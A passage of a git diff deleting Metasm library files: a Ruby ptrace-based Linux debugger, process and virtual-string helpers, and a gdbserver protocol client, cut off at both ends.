rbx; - unsigned __int64 r11; - unsigned __int64 r10; - unsigned __int64 r9; - unsigned __int64 r8; - unsigned __int64 rax; - unsigned __int64 rcx; - unsigned __int64 rdx; - unsigned __int64 rsi; - unsigned __int64 rdi; - unsigned __int64 orig_rax; - unsigned __int64 rip; - unsigned __int64 cs; - unsigned __int64 rflags; - unsigned __int64 rsp; - unsigned __int64 ss; - unsigned __int64 fs_base; - unsigned __int64 gs_base; - unsigned __int64 ds; - unsigned __int64 es; - unsigned __int64 fs; - unsigned __int64 gs; -}; - -struct user_i387_struct_x64 { - unsigned __int16 cwd; - unsigned __int16 swd; - unsigned __int16 twd; /* Note this is not the same as the 32bit/x87/FSAVE twd */ - unsigned __int16 fop; - unsigned __int64 rip; - unsigned __int64 rdp; - unsigned __int32 mxcsr; - unsigned __int32 mxcsr_mask; - unsigned __int32 st_space[32]; /* 8*16 bytes for each FP-reg = 128 bytes */ - unsigned __int32 xmm_space[64]; /* 16*16 bytes for each XMM-reg = 256 bytes */ - unsigned __int32 padding[24]; - // YMM ? -}; -EOS - - def init - @gpr = @@gpr_x64 ||= [:r15, :r14, :r13, :r12, :rbp, :rbx, :r11, - :r10, :r9, :r8, :rax, :rcx, :rdx, :rsi, :rdi, :orig_rax, - :rip, :cs, :rflags, :rsp, :ss, :fs_base, :gs_base, :ds, - :es, :fs, :gs].inject({}) { |h, r| h.update r => true } - @gpr_peek = @@gpr_peek_x64 ||= (0..7).inject({}) { |h, i| - h.update "dr#{i}".to_sym => REGS_X86_64["DR#{i}"] } - @gpr_sub = @@gpr_sub_x64 ||= gpr_sub_init - @xmm = @@xmm_x64 ||= [:cwd, :swd, :twd, :fop, :rip, :rdp, :mxcsr, - :mxcsr_mask].inject({}) { |h, r| h.update r => true } - @cp.parse C_STRUCT if not @cp.toplevel.struct['user_regs_struct_x64'] - @gpr_st = @xmm_st = nil - end - - def gpr_sub_init - ret = {} - %w[a b c d].each { |r| - b = "r#{r}x".to_sym - ret["e#{r}x".to_sym] = [b, 0xffff_ffff] - ret[ "#{r}x".to_sym] = [b, 0xffff] - ret[ "#{r}l".to_sym] = [b, 0xff] - ret[ "#{r}h".to_sym] = [b, 0xff, 8] - } - %w[sp bp si di].each { |r| - b = "r#{r}".to_sym - ret["e#{r}".to_sym] = [b, 0xffff_ffff] - ret[ "#{r}".to_sym] = [b, 0xffff] - ret["#{r}l".to_sym] = [b, 0xff] - } - (8..15).each { |i| - b = "r#{i}".to_sym - ret["r#{i}d"] = [b, 0xffff_ffff] - ret["r#{i}w"] = [b, 0xffff] - ret["r#{i}b"] = [b, 0xff] - } - ret[:eip] = [:rip, 0xffff_ffff] - ret[:eflags] = [:rflags, 0xffff_ffff] - ret[:orig_eax] = [:orig_rax, 0xffff_ffff] - ret - end - - def do_getregs - st = cp.alloc_c_struct('user_regs_struct_x64') - getregs(st) - st - end - - def do_setregs(st=@gpr_st) - setregs(st) - end - - def do_getxmm - st = cp.alloc_c_struct('user_i387_struct_x64') - getfpregs(st) - st - end - - def do_setxmm(st=@xmm_st) - setfpregs(st) - end -end - -module ::Process - WALL = 0x40000000 if not defined? WALL - WCLONE = 0x80000000 if not defined? WCLONE -end - -# this class implements a high-level API over the ptrace debugging primitives -class LinDebugger < Debugger - # ptrace is per-process or per-thread ? - attr_accessor :ptrace, :continuesignal, :has_pax_mprotect, :target_syscall, :cached_waitpid - attr_accessor :callback_syscall, :callback_branch, :callback_exec - - def initialize(pidpath=nil, &b) - super() - @pid_stuff_list << :has_pax_mprotect << :ptrace << :breaking << :os_process - @tid_stuff_list << :continuesignal << :saved_csig << :ctx << :target_syscall - - # by default, break on all signals except SIGWINCH (terminal resize notification) - @pass_all_exceptions = lambda { |e| e[:signal] == 'WINCH' } - - @callback_syscall = lambda { |i| log "syscall #{i[:syscall]}" } - @callback_exec = lambda { |i| log "execve #{os_process.path}" } - @cached_waitpid = [] - - return if not pidpath - - t = begin; Integer(pidpath) - rescue ArgumentError, TypeError - end - t ? attach(t) : create_process(pidpath, &b) - end - - def shortname; 'lindbg'; end - - # attach to a running process and all its threads - def attach(pid, do_attach=:attach) - pt = PTrace.new(pid, do_attach) - set_context(pt.pid, pt.pid) # swapout+init_newpid - log "attached #@pid" - list_threads.each { |tid| attach_thread(tid) if tid != @pid } - set_tid @pid - end - - # create a process and debug it - # if given a block, the block is run in the context of the ruby subprocess - # after the fork() and before exec()ing the target binary - # you can use it to eg tweak file descriptors: - # tg_stdin_r, tg_stdin_w = IO.pipe - # create_process('/bin/cat') { tg_stdin_w.close ; $stdin.reopen(tg_stdin_r) } - # tg_stdin_w.write 'lol' - def create_process(path, &b) - pt = PTrace.new(path, :create, &b) - # TODO save path, allow restart etc - set_context(pt.pid, pt.pid) # swapout+init_newpid - log "attached #@pid" - end - - def initialize_cpu - @cpu = os_process.cpu - # need to init @ptrace here, before init_dasm calls gui.swapin XXX this stinks - @ptrace = PTrace.new(@pid, false) - if @cpu.size == 64 and @ptrace.reg_off['EAX'] - hack_x64_32 - end - set_tid @pid - set_thread_options - end - - def initialize_memory - @memory = os_process.memory = LinuxRemoteString.new(@pid, 0, nil, self) - end - - def os_process - @os_process ||= LinOS.open_process(@pid) - end - - def list_threads - os_process.threads - end - - def list_processes - LinOS.list_processes - end - - def check_pid(pid) - LinOS.check_process(pid) - end - - def mappings - os_process.mappings - end - - def modules - os_process.modules - end - - # We're a 32bit process debugging a 64bit target - # the ptrace kernel interface we use only allow us a 32bit-like target access - # With this we advertize the cpu as having eax..edi registers (the only one we - # can access), while still decoding x64 instructions (whose addr < 4G) - def hack_x64_32 - log "WARNING: debugging a 64bit process from a 32bit debugger is a very bad idea !" - ia32 = Ia32.new - @cpu.instance_variable_set('@dbg_register_pc', ia32.dbg_register_pc) - @cpu.instance_variable_set('@dbg_register_sp', ia32.dbg_register_sp) - @cpu.instance_variable_set('@dbg_register_flags', ia32.dbg_register_flags) - @cpu.instance_variable_set('@dbg_register_list', ia32.dbg_register_list) - @cpu.instance_variable_set('@dbg_register_size', ia32.dbg_register_size) - end - - # attach a thread of the current process - def attach_thread(tid) - set_tid tid - @ptrace.pid = tid - @ptrace.attach - @state = :stopped - # store this waitpid so that we can return it in a future check_target - ::Process.waitpid(tid, ::Process::WALL) - # XXX can $? be safely stored? - @cached_waitpid << [tid, $?.dup] - log "attached thread #{tid}" - set_thread_options - rescue Errno::ESRCH - # raced, thread quitted already - del_tid - end - - # set the debugee ptrace options (notify clone/exec/exit, and fork/vfork depending on @trace_children) - def set_thread_options - opts = %w[TRACESYSGOOD TRACECLONE TRACEEXEC TRACEEXIT] - opts += %w[TRACEFORK TRACEVFORK TRACEVFORKDONE] if trace_children - @ptrace.pid = @tid - @ptrace.setoptions(*opts) - end - - # update the current pid relative to tracing children (@trace_children only effects newly traced pid/tid) - def do_trace_children - each_tid { set_thread_options } - end - - def invalidate - @ctx = nil - super() - end - - # current thread register values accessor - def ctx - @ctx ||= case @ptrace.host_csn - when 'ia32'; PTraceContext_Ia32.new(@ptrace, @tid) - when 'x64'; PTraceContext_X64.new(@ptrace, @tid) - else raise '8==D' - end - end - - def get_reg_value(r) - return 0 if @state != :stopped - ctx.get_reg(r) - rescue Errno::ESRCH - 0 - end - def set_reg_value(r, v) - ctx.set_reg(r, v) - end - - def update_waitpid(status) - invalidate - @continuesignal = 0 - @state = :stopped # allow get_reg (for eg pt_syscall) - info = { :status => status } - if status.exited? - info.update :exitcode => status.exitstatus - if @tid == @pid # XXX - evt_endprocess info - else - evt_endthread info - end - elsif status.signaled? - info.update :signal => (PTrace::SIGNAL[status.termsig] || status.termsig) - if @tid == @pid - evt_endprocess info - else - evt_endthread info - end - elsif status.stopped? - sig = status.stopsig & 0x7f - signame = PTrace::SIGNAL[sig] - if signame == 'TRAP' - if status.stopsig & 0x80 > 0 - # XXX int80 in x64 => syscallnr32 ? - evt_syscall info.update(:syscall => @ptrace.syscallnr[get_reg_value(@ptrace.syscallreg)]) - - elsif (status >> 16) > 0 - case PTrace::WAIT_EXTENDEDRESULT[status >> 16] - when 'EVENT_FORK', 'EVENT_VFORK' - # parent notification of a fork - # child receives STOP (may have already happened) - #cld = @ptrace.geteventmsg - resume_badbreak - - when 'EVENT_CLONE' - #cld = @ptrace.geteventmsg - resume_badbreak - - when 'EVENT_EXIT' - @ptrace.pid = @tid - info.update :exitcode => @ptrace.geteventmsg - if @tid == @pid - evt_endprocess info - else - evt_endthread info - end - - when 'EVENT_VFORKDONE' - resume_badbreak - - when 'EVENT_EXEC' - evt_exec info - end - - else - @ptrace.pid = @tid - si = @ptrace.getsiginfo - case si.si_code - when PTrace::SIGINFO['BRKPT'], - PTrace::SIGINFO['KERNEL'] # \xCC prefer KERNEL to BRKPT - evt_bpx - when PTrace::SIGINFO['TRACE'] - evt_singlestep # singlestep/singleblock - when PTrace::SIGINFO['BRANCH'] - evt_branch # XXX BTS? - when PTrace::SIGINFO['HWBKPT'] - evt_hwbp - else - @saved_csig = @continuesignal = sig - info.update :signal => signame, :type => "SIG#{signame}" - evt_exception info - end - end - - elsif signame == 'STOP' and @info == 'new' - # new thread break on creation (eg after fork + TRACEFORK) - if @pid == @tid - attach(@pid, false) - evt_newprocess info - else - evt_newthread info - end - - elsif signame == 'STOP' and @breaking - @state = :stopped - @info = 'break' - @breaking.call if @breaking.kind_of? Proc - @breaking = nil - - else - @saved_csig = @continuesignal = sig - info.update :signal => signame, :type => "SIG#{signame}" - if signame == 'SEGV' - # need more data on access violation (for bpm) - info.update :type => 'access violation' - @ptrace.pid = @tid - si = @ptrace.getsiginfo - access = case si.si_code - when PTrace::SIGINFO['MAPERR']; :r # XXX write access to unmapped => ? - when PTrace::SIGINFO['ACCERR']; :w - end - info.update :fault_addr => si.si_addr, :fault_access => access - end - evt_exception info - end - else - log "unknown wait status #{status.inspect}" - evt_exception info.update(:type => "unknown wait #{status.inspect}") - end - end - - def set_tid_findpid(tid) - return if tid == @tid - if tid != @pid and !@tid_stuff[tid] - if kv = @pid_stuff.find { |k, v| v[:tid_stuff] and v[:tid_stuff][tid] } - set_pid kv[0] - elsif pr = list_processes.find { |p| p.threads.include?(tid) } - set_pid pr.pid - end - end - set_tid tid - end - - def do_check_target - if @cached_waitpid.empty? - t = ::Process.waitpid(-1, ::Process::WNOHANG | ::Process::WALL) - st = $? - else - t, st = @cached_waitpid.shift - end - return if not t - set_tid_findpid t - update_waitpid st - true - rescue ::Errno::ECHILD - end - - def do_wait_target - if @cached_waitpid.empty? - t = ::Process.waitpid(-1, ::Process::WALL) - st = $? - else - t, st = @cached_waitpid.shift - end - set_tid_findpid t - update_waitpid st - rescue ::Errno::ECHILD - end - - def do_continue - @state = :running - @ptrace.pid = tid - @ptrace.cont(@continuesignal) - end - - def do_singlestep(*a) - @state = :running - @ptrace.pid = tid - @ptrace.singlestep(@continuesignal) - end - - # use the PT_SYSCALL to break on next syscall - # regexp allowed to wait a specific syscall - def syscall(arg=nil) - arg = nil if arg and arg.strip == '' - if b = check_breakpoint_cause and b.hash_shared.find { |bb| bb.state == :active } - singlestep_bp(b) { - next if not check_pre_run(:syscall, arg) - @target_syscall = arg - @state = :running - @ptrace.pid = @tid - @ptrace.syscall(@continuesignal) - } - else - return if not check_pre_run(:syscall, arg) - @target_syscall = arg - @state = :running - @ptrace.pid = @tid - @ptrace.syscall(@continuesignal) - end - end - - def syscall_wait(*a, &b) - syscall(*a, &b) - wait_target - end - - # use the PT_SINGLEBLOCK to execute until the next branch - def singleblock - # record as singlestep to avoid evt_singlestep -> evt_exception - # step or block doesn't matter much here anyway - if b = check_breakpoint_cause and b.hash_shared.find { |bb| bb.state == :active } - singlestep_bp(b) { - next if not check_pre_run(:singlestep) - @state = :running - @ptrace.pid = @tid - @ptrace.singleblock(@continuesignal) - } - else - return if not check_pre_run(:singlestep) - @state = :running - @ptrace.pid = @tid - @ptrace.singleblock(@continuesignal) - end - end - - def singleblock_wait(*a, &b) - singleblock(*a, &b) - wait_target - end - - # woke up from a PT_SYSCALL - def evt_syscall(info={}) - @state = :stopped - @info = "syscall #{info[:syscall]}" - - callback_syscall[info] if callback_syscall - - if @target_syscall and info[:syscall] !~ /^#@target_syscall$/i - resume_badbreak - else - @target_syscall = nil - end - end - - # SIGTRAP + SIGINFO_TRAP_BRANCH = ? - def evt_branch(info={}) - @state = :stopped - @info = "branch" - - callback_branch[info] if callback_branch - end - - # called during sys_execve in the new process - def evt_exec(info={}) - @state = :stopped - @info = "#{info[:exec]} execve" - - initialize_newpid - # XXX will receive a SIGTRAP, could hide it.. - - callback_exec[info] if callback_exec - # calling continue() here will loop back to TRAP+INFO_EXEC - end - - def break(&b) - @breaking = b || true - kill 'STOP' - end - - def kill(sig=nil) - return if not tid - # XXX tkill ? - ::Process.kill(sig2signr(sig), tid) - rescue Errno::ESRCH - end - - def pass_current_exception(bool=true) - if bool - @continuesignal = @saved_csig - else - @continuesignal = 0 - end - end - - def sig2signr(sig) - case sig - when nil, ''; 9 - when Integer; sig - when String - sig = sig.upcase.sub(/^SIG_?/, '') - PTrace::SIGNAL[sig] || Integer(sig) - else raise "unhandled signal #{sig.inspect}" - end - end - - # stop debugging the current process - def detach - if @state == :running - # must be stopped so we can rm bps - self.break { detach } - mypid = @pid - wait_target - - # after syscall(), wait will return once for interrupted syscall, - # and we need to wait more for the break callback to kick in - if @pid == mypid and @state == :stopped and @info =~ /syscall/ - do_continue - check_target - end - - return - end - del_all_breakpoints - each_tid { - @ptrace.pid = @tid - @ptrace.detach rescue nil - @delete_thread = true - } - del_pid - end - - def bpx(addr, *a, &b) - return hwbp(addr, :x, 1, *a, &b) if @has_pax_mprotect - super(addr, *a, &b) - end - - # handles exceptions from PaX-style mprotect restrictions on bpx, - # transmute them to hwbp on the fly - def do_enable_bp(b) - super(b) - rescue ::Errno::EIO - if b.type == :bpx - @memory[b.address, 1] # check if we can read - # didn't raise: it's a PaX-style config - @has_pax_mprotect = true - b.del - hwbp(b.address, :x, 1, b.oneshot, b.condition, &b.action) - log 'PaX: bpx->hwbp' - else raise - end - end - - def ui_command_setup(ui) - ui.new_command('syscall', 'waits for the target to do a syscall using PT_SYSCALL') { |arg| ui.wrap_run { syscall arg } } - ui.keyboard_callback[:f6] = lambda { ui.wrap_run { syscall } } - - ui.new_command('signal_cont', 'set/get the continue signal (0 == unset)') { |arg| - case arg.to_s.strip - when ''; log "#{@continuesignal} (#{PTrace::SIGNAL[@continuesignal]})" - else @continuesignal = sig2signr(arg) - end - } - end -end -end diff --git a/lib/metasm/metasm/os/main.rb b/lib/metasm/metasm/os/main.rb deleted file mode 100644 index 97919afc36..0000000000 --- a/lib/metasm/metasm/os/main.rb +++ /dev/null @@ -1,330 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/main' - -module Metasm -# this module regroups OS-related functions -# (eg. find_process, inject_shellcode) -# a 'class' just to be able to inherit from it... -class OS - # represents a running process with a few information, and defines methods to get more interaction (#memory, #debugger) - class Process - attr_accessor :pid, :path, :modules - class Module - attr_accessor :path, :addr, :size - end - - def initialize(pid=nil) - @pid = pid - end - - def to_s - mod = File.basename(path) rescue nil - "#{pid}: ".ljust(6) << (mod || '<unknown>') - end - def inspect - '<Process:' + ["pid: #@pid", modules.to_a.map { |m| " #{'%X' % m.addr} #{m.path}" }].join("\n") + '>' - end - end - - # returns the Process whose pid is name (if name is an Integer) or first module path includes name (string) - def self.find_process(name) - case name - when nil - when Integer - list_processes.find { |pr| pr.pid == name } - else - list_processes.find { |pr| pr.path.to_s.include? name.to_s } or - (find_process(Integer(name)) if name =~ /^(0x[0-9a-f]+|[0-9]+)$/i) - end - end - - # create a new debuggee process stopped at start - def self.create_process(path) - dbg = create_debugger(path) - pr = open_process(dbg.pid) - pr.debugger = dbg - pr.memory = dbg.memory - pr - end - - # return 'winos' or 'linos' depending on the underlying OS - def self.shortname - case RUBY_PLATFORM - when /mswin|mingw|cygwin/i; 'winos' - when /linux/i; 'linos' - end - end - - # return the platform-specific version - def self.current - case shortname - when 'winos'; WinOS - when 'linos'; LinOS - end - end -end - -# This class implements an objects that behaves like a regular string, but -# whose real data is dynamically fetched or generated on demand -# its size is immutable -# implements a page cache -# substrings are Strings (small substring) or another VirtualString -# (a kind of 'window' on the original VString, when the substring length is > 4096) -class VirtualString - # formats parameters for reading - def [](from, len=nil) - if not len and from.kind_of? Range - b = from.begin - e = from.end - b = b + length if b < 0 - e = e + length if e < 0 - len = e - b - len += 1 if not from.exclude_end? - from = b - end - from = from + length if from < 0 - - return nil if from > length or (from == length and not len) - len = length - from if len and from + len > length - return '' if len == 0 - - read_range(from, len) - end - - # formats parameters for overwriting portion of the string - def []=(from, len, val=nil) - raise TypeError, 'cannot modify frozen virtualstring' if frozen? - - if not val - val = len - len = nil - end - if not len and from.kind_of? Range - b = from.begin - e = from.end - b = b + length if b < 0 - e = e + length if e < 0 - len = e - b - len += 1 if not from.exclude_end? - from = b - elsif not len - len = 1 - val = val.chr - end - from = from + length if from < 0 - - raise IndexError, 'Index out of string' if from > length - raise IndexError, 'Cannot modify virtualstring length' if val.length != len or from + len > length - - write_range(from, val) - end - - # returns the full raw data - def realstring - ret = '' - addr = 0 - len = length - while len > @pagelength - ret << self[addr, @pagelength] - addr += @pagelength - len -= @pagelength - end - ret << self[addr, len] - end - - # alias to realstring - # for bad people checking respond_to? :to_str (like String#<<) - # XXX alias does not work (not virtual (a la C++)) - def to_str - realstring - end - - # forwards unhandled messages to a frozen realstring - def method_missing(m, *args, &b) - if ''.respond_to? m - puts "Using VirtualString.realstring for #{m} from:", caller if $DEBUG - realstring.freeze.send(m, *args, &b) - else - super(m, *args, &b) - end - end - - # avoid triggering realstring from method_missing if possible - def empty? - length == 0 - end - - # avoid triggering realstring from method_missing if possible - # heavily used in to find 0-terminated strings in ExeFormats - def index(chr, base=0) - return if base >= length or base <= -length - if i = self[base, 64].index(chr) or i = self[base, @pagelength].index(chr) - base + i - else - realstring.index(chr, base) - end - end - - def rindex(chr, max=length) - return if max > length - if max > 64 and i = self[max-64, 64].rindex(chr) - max - 64 + i - elsif max > @pagelength and i = self[max-@pagelength, @pagelength].rindex(chr) - max - @pagelength + i - else - realstring.rindex(chr, max) - end - end - - # '=~' does not go through method_missing - def =~(o) - realstring =~ o - end - - # implements a read page cache - - # the real address of our first byte - attr_accessor :addr_start - # our length - attr_accessor :length - # array of [addr, raw data], sorted by first == last accessed - attr_accessor :pagecache - # maximum length of self.pagecache (number of cached pages) - attr_accessor :pagecache_len - def initialize(addr_start, length) - @addr_start = addr_start - @length = length - @pagecache = [] - @pagecache_len = 4 - @pagelength ||= 4096 # must be (1 << x) - end - - # returns wether a page is valid or not - def page_invalid?(addr) - cache_get_page(@addr_start+addr)[2] - end - - # invalidates the page cache - def invalidate - @pagecache.clear - end - - # returns the @pagelength-bytes page starting at addr - # return nil if the page is invalid/inaccessible - # addr is page-aligned by the caller - # addr is absolute - #def get_page(addr, len=@pagelength) - #end - - # searches the cache for a page containing addr, updates if not found - def cache_get_page(addr) - addr &= ~(@pagelength-1) - i = 0 - @pagecache.each { |c| - if addr == c[0] - # most recently used first - @pagecache.unshift @pagecache.delete_at(i) if i != 0 - return c - end - i += 1 - } - @pagecache.pop if @pagecache.length >= @pagecache_len - c = [addr] - p = get_page(addr) - c << p.to_s.ljust(@pagelength, "\0") - c << true if not p - @pagecache.unshift c - c - end - - # reads a range from the page cache - # returns a new VirtualString (using dup) if the request is bigger than @pagelength bytes - def read_range(from, len) - from += @addr_start - if not len - base, page = cache_get_page(from) - page[from - base] - elsif len <= @pagelength - base, page = cache_get_page(from) - s = page[from - base, len] - if from+len-base > @pagelength # request crosses a page boundary - base, page = cache_get_page(from+len) - s << page[0, from+len-base] - end - s - else - # big request: return a new virtual page - dup(from, len) - end - end - - # rewrites a segment of data - # the length written is the length of the content (a VirtualString cannot grow/shrink) - def write_range(from, content) - invalidate - rewrite_at(from + @addr_start, content) - end - - # overwrites a section of the original data - #def rewrite_at(addr, content) - #end -end - -# on-demand reading of a file -class VirtualFile < VirtualString - # returns a new VirtualFile of the whole file content (defaults readonly) - # returns a String if the file is small (<4096o) and readonly access - def self.read(path, mode='rb') - raise 'no filename specified' if not path - if sz = File.size(path) <= 4096 and (mode == 'rb' or mode == 'r') - File.open(path, mode) { |fd| fd.read } - else - File.open(path, mode) { |fd| new fd.dup, 0, sz } - end - end - - # the underlying file descriptor - attr_accessor :fd - - # creates a new virtual mapping of a section of the file - # the file descriptor must be seekable - def initialize(fd, addr_start = 0, length = nil) - @fd = fd - if not length - @fd.seek(0, File::SEEK_END) - length = @fd.tell - addr_start - end - super(addr_start, length) - end - - def dup(addr = @addr_start, len = @length) - self.class.new(@fd, addr, len) - end - - # reads an aligned page from the file, at file offset addr - def get_page(addr, len=@pagelength) - @fd.pos = addr - @fd.read len - end - - def page_invalid?(addr) - false - end - - # overwrite a section of the file - def rewrite_at(addr, data) - @fd.pos = addr - @fd.write data - end - - # returns the full content of the file - def realstring - @fd.pos = @addr_start - @fd.read(@length) - end -end -end diff --git a/lib/metasm/metasm/os/remote.rb b/lib/metasm/metasm/os/remote.rb deleted file mode 100644 index 2d733f6fe5..0000000000 --- a/lib/metasm/metasm/os/remote.rb +++ /dev/null @@ -1,616 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/os/main' -require 'metasm/debug' -require 'socket' - -module Metasm -# lowlevel interface to the gdbserver protocol -class GdbClient - GDBREGS_IA32 = %w[eax ecx edx ebx esp ebp esi edi eip eflags cs ss ds es fs gs].map { |r| r.to_sym } # XXX [77] = 'orig_eax' - GDBREGS_X64 = %w[rax rbx rcx rdx rsi rdi rbp rsp r8 r9 r10 r11 r12 r13 r14 r15 rip rflags cs ss ds es fs gs].map { |r| r.to_sym } - - # compute the hex checksum used in gdb protocol - def gdb_csum(buf) - '%02x' % (buf.unpack('C*').inject(0) { |cs, c| cs + c } & 0xff) - end - - # send the buffer, waits ack - # return true on success - def gdb_send(cmd, buf='') - buf = cmd + buf - buf = '$' << buf << '#' << gdb_csum(buf) - log "gdb_send #{buf.inspect}" if $DEBUG - - 5.times { - @io.write buf - out = '' - loop do - break if not IO.select([@io], nil, nil, 0.2) - raise Errno::EPIPE if not ack = @io.read(1) - case ack - when '+' - return true - when '-' - log "gdb_send: ack neg" if $DEBUG - break - when nil - return - else - out << ack - end - end - log "no ack, got #{out.inspect}" if out != '' - } - - log "send error #{cmd.inspect} (no ack)" - false - end - - def quiet_during - pq = quiet - @quiet = true - yield - ensure - @quiet = pq - end - - # return buf, or nil on error / csum error - # waits IO.select(timeout) between each char - # outstr is used internally only to handle multiline output string - def gdb_readresp(timeout=nil, outstr=nil) - @recv_ctx ||= {} - @recv_ctx[:state] ||= :nosync - buf = nil - - while @recv_ctx - if !@recv_ctx[:rbuf] - return unless IO.select([@io], nil, nil, timeout) - if @io.kind_of?(UDPSocket) - raise Errno::EPIPE if not @recv_ctx[:rbuf] = @io.recvfrom(65536)[0] - else - raise Errno::EPIPE if not c = @io.read(1) - end - end - if @recv_ctx[:rbuf] - c = @recv_ctx[:rbuf].slice!(0, 1) - @recv_ctx.delete :rbuf if @recv_ctx[:rbuf] == '' - end - - case @recv_ctx[:state] - when :nosync - if c == '$' - @recv_ctx[:state] = :data - @recv_ctx[:buf] = '' - end - when :data - if c == '#' - @recv_ctx[:state] = :csum1 - @recv_ctx[:cs] = '' - else - @recv_ctx[:buf] << c - end - when :csum1 - @recv_ctx[:cs] << c - @recv_ctx[:state] = :csum2 - when :csum2 - cs = @recv_ctx[:cs] << c - buf = @recv_ctx[:buf] - @recv_ctx = nil - if cs.downcase == gdb_csum(buf).downcase - @io.write '+' - else - log "transmit error" - @io.write '-' - return - end - end - end - - case buf - when /^E(..)$/ - e = $1.to_i(16) - log "error #{e} (#{PTrace::ERRNO.index(e)})" - return - when /^O([0-9a-fA-F]*)$/ - if not outstr - first = true - outstr = '' - end - outstr << unhex($1) - ret = gdb_readresp(timeout, outstr) - outstr.split("\n").each { |o| log 'gdb: ' + o } if first - return ret - end - - log "gdb_readresp: got #{buf[0, 64].inspect}#{'...' if buf.length > 64}" if $DEBUG - buf - end - - def gdb_msg(*a) - gdb_readresp if gdb_send(*a) - end - - # rle: build the regexp that will match repetitions of a character, skipping counts leading to invalid char - rng = [3..(125-29)] - [?+, ?-, ?#, ?$].sort.each { |invalid| - invalid = invalid.unpack('C').first if invalid.kind_of? String - invalid -= 29 - rng.each_with_index { |r, i| - if r.include? invalid - replace = [r.begin..invalid-1, invalid+1..r.end] - replace.delete_if { |r_| r_.begin > r_.end } - rng[i, 1] = replace - end - } - } - repet = rng.reverse.map { |r| "\\1{#{r.begin},#{r.end}}" }.join('|') - RLE_RE = /(.)(#{repet})/m - - # rle-compress a buffer - # a character followed by '*' followed by 'x' is asc(x)-28 repetitions of the char - # eg '0* ' => '0' * (asc(' ') - 28) = '0000' - # for the count character, it must be 32 <= char < 126 and not be '+' '-' '#' or '$' - def rle(buf) - buf.gsub(RLE_RE) { - chr, len = $1, $2.length+1 - chr + '*' + (len+28).chr - } - end - # decompress rle-encoded data - def unrle(buf) buf.gsub(/(.)\*(.)/) { $1 * ($2.unpack('C').first-28) } end - # send an integer as a long hex packed with leading 0 stripped - def hexl(int) @pack_netint[[int]].unpack('H*').first.sub(/^0+(.)/, '\\1') end - # send a binary buffer as a rle hex-encoded - def hex(buf) buf.unpack('H*').first end - # decode an rle hex-encoded buffer - def unhex(buf) - buf = buf[/^[a-fA-F0-9]*/] - buf = '0' + buf if buf.length & 1 == 1 - [buf].pack('H*') - end - - # retrieve remote regs - def read_regs - if buf = gdb_msg('g') - regs = unhex(unrle(buf)) - p @unpack_int[regs].map { |v| '%x' % v } if $DEBUG - if regs.length < @regmsgsize - # retry once, was probably a response to something else - puts "bad regs size!" if $DEBUG - buf = gdb_msg('g') - regs = unhex(unrle(buf)) if buf - if not buf or regs.length < @regmsgsize - raise "regs buffer recv is too short !" - end - end - Hash[*@gdbregs.zip(@unpack_int[regs]).flatten] - end - end - - # send the reg values - def send_regs(r = {}) - return if r.empty? - regs = r.values_at(*@gdbregs) - gdb_msg('G', hex(@pack_int[regs])) - end - - # read memory (small blocks prefered) - def getmem(addr, len) - return '' if len == 0 - if mem = quiet_during { gdb_msg('m', hexl(addr) << ',' << hexl(len)) } and mem != '' - unhex(unrle(mem)) - end - end - - # write memory (small blocks prefered) - def setmem(addr, data) - len = data.length - return if len == 0 - raise 'writemem error' if not gdb_msg('M', hexl(addr) << ',' << hexl(len) << ':' << rle(hex(data))) - end - - def continue - gdb_send('c') - end - - def singlestep - gdb_send('s') - end - - def break - @io.write("\3") - end - - def kill - gdb_send('k') - end - - def detach - gdb_send('D') - end - - # monitor, aka remote command - def rcmd(cmd) - gdb_msg('qRcmd,' + hex(cmd)) - end - - attr_accessor :io, :cpu, :gdbregs - def initialize(io, cpu='Ia32') - cpu = Metasm.const_get(cpu).new if cpu.kind_of? String - raise 'unknown cpu' if not cpu.kind_of? CPU - setup_arch(cpu) - @cpu = cpu - - case io - when IO; @io = io - when /^ser:(.*)/i; @io = File.open($1, 'rb+') - when /^udp:\[?(.*)\]?:(.*?)$/i; @io = UDPSocket.new ; @io.connect($1, $2) - when /^(?:tcp:)?\[?(..+)\]?:(.*?)$/i; @io = TCPSocket.open($1, $2) - else raise "unknown target #{io.inspect}" - end - - gdb_setup - end - - def gdb_setup - pnd = '' - pnd << @io.read(1) while IO.select([@io], nil, nil, 0.2) - log "startpending: #{pnd.inspect}" if pnd != '' - - gdb_msg('q', 'Supported') - #gdb_msg('Hc', '-1') - #gdb_msg('qC') - if not gdb_msg('?') - log "nobody on the line, waiting for someone to wake up" - IO.select([@io], nil, nil, nil) - log "who's there ?" - end - end - - def set_hwbp(type, addr, len=1, set=true) - set = (set ? 'Z' : 'z') - type = { 'r' => '3', 'w' => '2', 'x' => '1', 's' => '0' }[type.to_s] || raise("invalid bp type #{type.inspect}") - gdb_msg(set, type << ',' << hexl(addr) << ',' << hexl(len)) - true - end - - def unset_hwbp(type, addr, len=1) - set_hwbp(type, addr, len, false) - end - - # use qSymbol to retrieve a symbol value (uint) - def request_symbol(name) - resp = gdb_msg('qSymbol:', hex(name)) - if resp and a = resp.split(':')[1] - @unpack_netint[unhex(a)].first - end - end - - def check_target(timeout=0) - return if not msg = gdb_readresp(timeout) - case msg[0] - when ?S - sig = unhex(msg[1, 2]).unpack('C').first - { :state => :stopped, :info => "signal #{sig} #{PTrace::SIGNAL[sig]}" } - when ?T - sig = unhex(msg[1, 2]).unpack('C').first - ret = { :state => :stopped, :info => "signal #{sig} #{PTrace::SIGNAL[sig]}" } - ret.update msg[3..-1].split(';').inject({}) { |h, s| k, v = s.split(':', 2) ; h.update k => (v || true) } # 'thread' -> pid - when ?W - code = unhex(msg[1, 2]).unpack('C').first - { :state => :dead, :info => "exited with code #{code}" } - when ?X - sig = unhex(msg[1, 2]).unpack('C').first - { :state => :dead, :info => "signal #{sig} #{PTrace::SIGNAL[sig]}" } - else - log "check_target: unhandled #{msg.inspect}" - { :state => :unknown } - end - end - - attr_accessor :logger, :quiet - def log(s) - puts s if $DEBUG and logger - return if quiet - logger ? logger.log(s) : puts(s) - end - - - attr_accessor :ptrsz - - # setup the various function used to pack ints & the reg list - # according to a target CPU - def setup_arch(cpu) - @ptrsz = cpu.size - - case cpu.shortname - when /^ia32/ - @ptrsz = 32 - @gdbregs = GDBREGS_IA32 - @regmsgsize = 4 * 